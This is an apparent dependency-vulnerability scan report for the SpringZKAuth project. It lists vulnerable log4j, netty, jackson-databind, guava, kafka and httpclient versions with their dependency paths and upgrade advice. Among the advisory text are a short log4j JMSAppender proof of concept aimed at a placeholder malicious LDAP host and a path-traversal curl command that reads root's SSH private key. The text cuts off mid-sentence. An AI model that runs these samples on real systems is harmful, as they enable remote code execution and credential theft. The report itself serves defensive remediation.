High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.6.1, 2.13.2.1 or higher.
References
medium severity
- Vulnerable module: log4j:log4j
- Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.
Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4j 2.x vulnerability, the 1.x branch of the module requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.
In order to leverage this vulnerability the following conditions must be met:
- The application has enabled
JMSAppender(or a class that extendsJMSAppender) - The attacker has access to directly modify the
TopicBindingNameorTopicConnectionFactoryBindingNameconfiguration variables - which is an unlikely scenario
If these conditions are met, log4j 1.x allows a lookup feature that does not protect against attacker-controlled LDAP and other JNDI related endpoints. Therefore, an attacker with access to the aforementioned configuration variables is able to execute arbitrary code when loaded from an LDAP server.
PoC
import org.apache.log4j.net.JMSAppender;
// ...
JMSAppender a = new JMSAppender();
a.setTopicConnectionFactoryBindingName("ldap://<malicious-url>");
// OR a.setTopicBindingName("ldap://<malicious-url>");
a.activateOptions();
Remediation
There is no fixed version for log4j:log4j.
References
medium severity
- Vulnerable module: io.netty:netty
- Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › io.netty:netty@3.10.5.Final
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › io.netty:netty@3.10.5.Final
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › io.netty:netty@3.10.5.Final
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › io.netty:netty@3.10.5.Final
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › io.netty:netty@3.10.5.Final
Overview
io.netty:netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling. Netty mishandles whitespace before the colon in HTTP headers such as a Transfer-Encoding : chunked line. This can lead to HTTP request smuggling where an attacker can bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.
Note:
io.netty:netty is deprecated. Users should update to io.netty:netty-all
Remediation
There is no fixed version for io.netty:netty.
References
medium severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeFromArray() function in BeanDeserializer, due to resource exhaustion when processing a deeply nested array.
NOTE:
For this vulnerability to be exploitable the non-default DeserializationFeature must be enabled.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.7.1, 2.13.4 or higher.
References
medium severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Denial of Service (DoS) in the _deserializeWrappedValue() function in StdDeserializer.java, due to resource exhaustion when processing deeply nested arrays.
NOTE: This vulnerability is only exploitable when the non-default UNWRAP_SINGLE_VALUE_ARRAYS feature is enabled.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.12.7.1, 2.13.4.1 or higher.
References
medium severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x through 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint and the service has JDOM 1.x or 2.x jar in the classpath, an attacker can send a specifically crafted JSON message that allows them to read arbitrary local files on the server.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.9.1, 2.8.11.4, 2.7.9.6 or higher.
References
medium severity
- Vulnerable module: com.google.guava:guava
- Introduced through: io.springfox:springfox-swagger2@2.7.0
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › org.reflections:reflections@0.9.11 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › org.reflections:reflections@0.9.11 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-schema@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › io.springfox:springfox-swagger2@2.7.0 › io.springfox:springfox-swagger-common@2.7.0 › io.springfox:springfox-spring-web@2.7.0 › io.springfox:springfox-spi@2.7.0 › io.springfox:springfox-core@2.7.0 › com.google.guava:guava@18.0Remediation: Upgrade to io.springfox:springfox-swagger2@2.10.0.
Overview
com.google.guava:guava is a set of core libraries that includes new collection types (such as multimap and multiset,immutable collections, a graph library, functional types, an in-memory cache and more.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. During deserialization, two Guava classes accept a caller-specified size parameter and eagerly allocate an array of that size:
AtomicDoubleArray(when serialized with Java serialization)CompoundOrdering(when serialized with GWT serialization)
An attacker may be able to send a specially crafted request which with then cause the server to allocate all it's memory, without validation whether the data size is reasonable.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.
Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.
An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.
Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).
Remediation
Upgrade com.google.guava:guava to version 24.1.1, 24.1.1-jre or higher.
References
medium severity
- Vulnerable module: log4j:log4j
- Introduced through: com.101tec:zkclient@0.7, org.apache.kafka:kafka_2.11@1.0.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › org.slf4j:slf4j-log4j12@1.7.25 › log4j:log4j@1.2.15
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.101tec:zkclient@0.7 › org.apache.zookeeper:zookeeper@3.4.10 › log4j:log4j@1.2.15
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project. Note: Log4j 1.x reached End of Life in 2015, and is no longer supported.
Affected versions of this package are vulnerable to Denial of Service (DoS). When using the Chainsaw or SocketAppender components with Log4j 1.x on JRE less than 1.7, an attacker that manages to cause a logging entry involving a specially-crafted, deeply nested hashmap or hashtable (depending on which logging component is in use) to be processed could exhaust the available memory in the virtual machine and achieve denial of service when the object is deserialized.
This issue affects Apache Log4j before 2. Affected users are recommended to update to Log4j 2.x org.apache.logging.log4j/log4j-core.
NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
There is no fixed version for log4j:log4j.
References
medium severity
- Vulnerable module: org.apache.kafka:kafka_2.11
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0 and org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0Remediation: Upgrade to org.apache.kafka:kafka_2.11@1.0.1.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.1.5.RELEASE.
Overview
org.apache.kafka:kafka_2.10 is a distributed streaming platform.
Affected versions of this package are vulnerable to Data Loss. Authenticated Kafka users may perform action reserved for the Broker via a manually created fetch request interfering with data replication, resulting in data loss.
Remediation
Upgrade org.apache.kafka:kafka_2.10 to versions 0.10.2.2, 0.11.0.3, 1.0.1, 1.1.0 or higher.
References
medium severity
- Vulnerable module: org.apache.httpcomponents:httpclient
- Introduced through: org.toile-libre.libe:curl@0.0.13
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.toile-libre.libe:curl@0.0.13 › org.apache.httpcomponents:httpmime@4.5.2 › org.apache.httpcomponents:httpclient@4.5.2Remediation: Upgrade to org.toile-libre.libe:curl@0.0.30.
Overview
org.apache.httpcomponents:httpclient is a HttpClient component of the Apache HttpComponents project.
Affected versions of this package are vulnerable to Directory Traversal.
String input by user is not validated for the presence of leading character / and is passed to the constructor as path information, resulting in a Directory Traversal vulnerability.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
